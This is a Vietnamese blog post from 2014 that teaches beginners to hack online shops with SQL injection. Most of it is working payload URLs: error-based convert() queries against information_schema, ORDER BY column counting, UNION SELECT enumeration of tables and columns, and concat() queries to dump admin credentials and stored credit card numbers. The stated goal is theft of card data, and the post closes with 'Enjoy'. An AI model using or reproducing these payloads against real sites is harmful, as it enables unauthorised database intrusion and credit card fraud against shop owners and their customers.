Sunday, May 11, 2014

Hướng dẫn hack shop bằng SQL Injection

Tut Về Hack Shop  Sql Injection Bổ Ích Cho Newbie.

Hack Shop Thì Có Nhiều Cách Nhưng Sẽ Có 1 Số Cách Chung. Bạn Sẽ Dễ Dàng Nhập Vô Bài Viết Hơn Nếu Bạn Hiểu Rõ Cấu Trúc Cơ Sở Dữ Liệu Của SQL. Bạn Nên Cài Xamp Trên Localhost Và Vào phpMyAdmin Để Coi Cấu Trúc Cơ Sở Dữ Liệu (CSDL) SQL. Ok Let's Go Đi Vào Bài Viết.

Muốn Biết Shop Đó Có Dính Lỗi SQL Injection (Từ Nay Gọi Tắt Là SQLi) Thì Đa Phần Các Bạn Hãy Thêm Dấu ' Vào Sau Link:

| http://shop.com/product.asp?id=15' |


Nếu May Mắn Thì Nó Sẽ Báo Lỗi (Tức Là Không Trả Về Trang Http://shop.com/product.asp?id=15 Như Bình Thường). Đại Khái Là Nó Sẽ Bào Lỗi "unclose" Gì Gì Đó. Đôi Khi Các Bạn Sẽ Gặp Lỗi Jet Database. Những Shop Đó Dùng Database Là Jet Chứ Không Phải Là SQLi. Vấn Đề Đó Không Đề Cập Tới Trong Bài Viết.

Ok Nếu Bạn Đã Biết Được Shop Đó Dính Lỗi Rồi Thì Sao Nữa Nhỉ?

Cách 1: Tốt Nhất Là Bạn Hãy Dùng Tool Hack Shop Auto. Nếu Không Được Thì Mới Xuống Dưới.

Cách 2:  Bước 1: Thêm Đoạn Code Sau Vào Sau Link Lỗi Của Shop

|and 1=convert(select top 1 table_name from information_schema.tables)--sp_password |

Nhớ Có Khoảng Trắng Trước Chữ "and" 


Cụ Thể Sẽ Là:

| http://shop.com/product.asp?id=15 and 1=convert(select top 1 table_name from information_schema.tables)--sp_password |

Dịch Nghĩa Câu: "select top 1 table_name from information_schema.tables" ~~>>> Đưa Ra Bảng Đầu Tiên Từ Bảng "information_schema.tables" (Bảng information_schema.tables Là Bảng Lớn Nhất, Tất Cả Các Bảng Khác Đều Lưu Trong Này)


Đối Với 1 Số Trường Hợp Sẽ Phải Có Dấu Phẩy ' Ở Sau Số 15, Cái Này Không Biết Trước Được Tùy Từng Shop Các Bạn Nên Linh Động. Nếu:

| http://shop.com/product.asp?id=15 and 1=convert(select top 1 table_name from information_schema.tables)--sp_password |

<<<<< Không Được Thì Mình Chơi Thế Này:

| http://shop.com/product.asp?id=15' and 1=convert(select top 1 table_name from information_schema.tables)--sp_password |

Sau Khi Enter Thì Nó Sẽ Hiện Ra Lỗi Đại Khái Là: Syntax Error Converting... Value 'table Test' To Column Of Data... Khi Đó Chúng Ta Sẽ Biết Được Table Đầu Tiên Là "table Test". Còn Nếu Không Hiện Ra Lỗi Gì Thì Bỏ Shop Đó Đi Hoặc Thử Cách Khác.

Bước 2: Thêm Đoạn Code Sau Link Lỗi Của Shop

http://shop.com/product.asp?id=15 and 1=convert(select top 1 table_name from information_schema.tables where table_name not in('table test'))--sp_password

Dịch Nghĩa "select Top 1 Table_Name From Information_Schema.tables Where Table_Name Not In('table Test')" <<<<< Đưa Ra Table_Name Đầu Tiên Trong "information_Schema.tables" Và Table_Name Không Phải Là Table Test Nếu Tới Đây Mà Vẫn Hiện Ra Lỗi Như Lỗi Trên Thì Bạn Hãy Ngừng Ngay Lập Tức Ở Đây. Bởi Vì @ Không Hiểu Vì Sao Bạn Dùng Tool Hack Shop Auto Không Được Mà Dùng Mấy Đoạn Code Trên Lại Được Nhỉ? Các Tool Hack Shop Auto Hiện Nay Đều Dùng Các Code Trên Để Hack Shop. Bạn Hãy Kiểm Tra Xem Cái Link Shop Bạn Đưa Vào Tool Đã Đúng Chưa.
VD:

| http://shop.com/product.asp?id=15 | 
<<<<< Nhấn Submit, Nếu Ko Ra Gì Hết Thì: 

| http://shop.com/product.asp?id=15' |

Coi Như Xong Cách Này Nhé.

Cách 3:

1/. Xác Định Số Column Của Shop (Bạn Sẽ Hiểu Hơn Nếu Bạn Biết Về Cấu Trúc CSDL). Thêm Đoạn Code Sau Vào Link Lỗi Của Shop:
| order by 100 |
<<< Trước "order" Có Dấu Cách, Sau Số 100 Có Thể Thêm "/*" Nếu Cần:

| order by 100/* |

Cụ Thể Là:

| http://shop.com/product.asp?id=15 order by 100 |

Ở Đây Có 2 Trường Hợp: Th1: Nếu Trả Về Trang Ban Đầu Thì Sẽ True Tức Là Shop Đó Có Số Column Lớn Hơn Hoặc Bằng 100. Lúc Đó Bạn Hãy Tăng Số 100 Lên Cho Tới Khi Hiện Ra Lỗi Như Ở Trường Hợp 2.

VD:

| order by 150 |

Trường Hợp 2: Nếu Trả Về Trang Ban Đầu Nhưng Không Có Chữ (Hoặc Hiện Ra Lỗi) Thì Sẽ False Tức Là Shop Đó Có Số Column Nhỏ Hơn 100. Lúc Đó Bạn Hãy Giảm Số 100 Xuống Cho Tới Khi Hiện Ra Như Ở Th1. Khó Hiểu Quá...giả Sử @ Sẽ Làm Như Sau:

| http://shop.com/product.asp?id=15 order by 100 |

<<<<< Lỗi

| http://shop.com/product.asp?id=15 order by 50 |

<<<<< i =""> Số Column Nằm Trong Khoảng 50 < Column <100

| http://shop.com/product.asp?id=15 order by 70 |

<<<<< i =""> Số Column Nằm Trong Khoảng 70 < Column <100

| http://shop.com/product.asp?id=15 order by 80 |

<<<<< i =""> Số Column Nằm Trong Khoảng 80 < Column <100

| http://shop.com/product.asp?id=15 order by 90 |

<<<<< i =""> Số Column Nằm Trong Khoảng 80 < Column <90 Tức Là Thu Hẹp Khoảng Cách Lại. Típ:

| http://shop.com/product.asp?id=15 order by 85 |

<<<<< i =""> Số Column Nằm Trong Khoảng 85 < Column <90

| http://shop.com/product.asp?id=15 order by 88 |

<<<<< i =""> Số Column Nằm Trong Khoảng 85 < Column <88

| http://shop.com/product.asp?id=15 order by 86 |

<<<<< i =""> Số Column Nằm Trong Khoảng 86 < Column <88

| http://shop.com/product.asp?id=15 order by 87 |

<<<<< i =""> Số Column Nằm Trong Khoảng 86 < Column <87

"order By 86" Không Có Lỗi Nhưng "order By 87" Có Lỗi Thế Thì Suy Ra Số Column Là 86. Hiểu Rồi Chứ, Thu Hẹp Lại...

Bước 2: Thêm Đoạn Code Sau Vào Link Lỗi

| union select 1,2,3,4,5,6,7,8,9,10,11,12,13...............,83,84 ,85,86 |

<<<< Các Bạn Phẩy Tới Khi Nào Tới 86 Thì Thôi Nhé.

Nếu Hiện Ra 1 Trang Bảo Đại Khái Là: Syntax "union Select" Thì Bỏ Đi Shop Đó Không Ăn Được Đâu. Còn Nếu Nó Hiện Ra 1 Trang Trên Đó Có Các Số, Bạn Hãy Lưu Các Số Hiện Ra Trên Màn Hình Lại. Bạn Có Thể Thêm Limit 1,1 (Limit 0,1) Sau Đuôi 83,84,85,86 Nếu Nó Chẳng Hiện Ra Số Nào Cả.
VD:
| http://shop.com/product.asp?id=15 union select 1,2,3,4,5,6,7,8,9,10,11,12,13...............,83,84 ,85,86 limit 1,1 |

Lưu Mấy Số Hiện Ra Trên Màn Hình Rồi Chứ? Ok Giờ Thay Chữ "table_Name" Vào 1 Trong Các Số Đấy. Vd: Của Mình Hiện Ra Số 2,3,5. Ok Thay Chữ Table_Name Và 1 Trong 3 Số Đó.

VD:
http://shop.com/product.asp?id=15 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13...............,83,84,85,86 from information_schema.tables limit 1,1

Giờ Nó Sẽ Hiện Ra Tables Đầu Tiên, Lấy Tables Tiếp Theo Thì Thêm Where Table_Name Not In('table Đầu Tiên')
http://shop.com/product.asp?id=15 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13............ ...,83,84,85,86 from information_schema.tables where table_name not in('table đầu tiên') limit 1,1

Ra Table Thứ 2, Rùi Cứ Típ Tục Thêm Dấu Phẩy Sau Table Thứ Nhất, Viết Table Thứ 2 Vào Hoặc Dùng Limit 2,1

http://shop.com/product.asp?id=15 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13...............,83,84,85,86 from information_schema.tables where table_name not in('table đầu tiên','table thứ 2') limit 1,1

Hoặc:

http://shop.com/product.asp?id=15 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13...............,83,84,85,86 from

information_schema.tables where table_name not in('table đầu tiên') limit 2,1

Nói Chung Tùy Từng Trường Hợp

Khi Lấy Tới Table Có User Và Pass Admin Hoặc Tables Lưu Cc Rùi Thì Dừng Lại. Thêm Đoạn Code Sau Vào Link Shop Lỗi. 

union select 1,column_name,3,4,5,6,7,8,9,10,11,12,13...............,83,84,85,86 from information_schema.columns where table_name in('table chứa cc hoặc u & p admin') limit 1,1

Chú Ý: Thêm Limit 1,1 Nếu Cần
Ra Column Đầu Tiên Dùng Típ Đoạn Code Sau:

union select 1,column_name,3,4,5,6,7,8,9,10,11,12,13...............,83,84,85,86 from information_schema.columns where table_name in('table chứa cc hoặc u & p admin') and column_name not in('column đầu tiên') limit 1,1

Rồi Cứ Làm Như Lấy Tables Thứ 2 Thứ 3

Khi Đã Ra Hết Các Column Thì Bây Giờ Đi Vào Phần Sướng Nhất.

Dùng Code Sau:

union select 1,concat(column đầu tiên,0x2f,column thứ 2,0x2f,column thứ 3,0x2f,column thứ 4),3,4,5,6,7,8,9,10,11,12,13...............,83,84,85,86 from table chứa cc hoặc u & p admin limit 1,1

Lấy CC Thứ 2 Dùng Code Sau:

union select 1,concat(column đầu tiên,0x2f,column thứ 2,0x2f,column thứ 3,0x2f,column thứ 4),3,4,5,6,7,8,9,10,11,12,13...............,83,84,85,86 from table chứa cc hoặc u & p admin and column thứ nhất not in('phần đầu của cc đầu tiên') limit 1,1

Tiếp Theo Thì Cứ Như Lấy Table Thứ 2 , Thứ 3 Ý, Cứ Thêm Đầu Phẩy Vào Và Enjoy !!!

No comments:

Post a Comment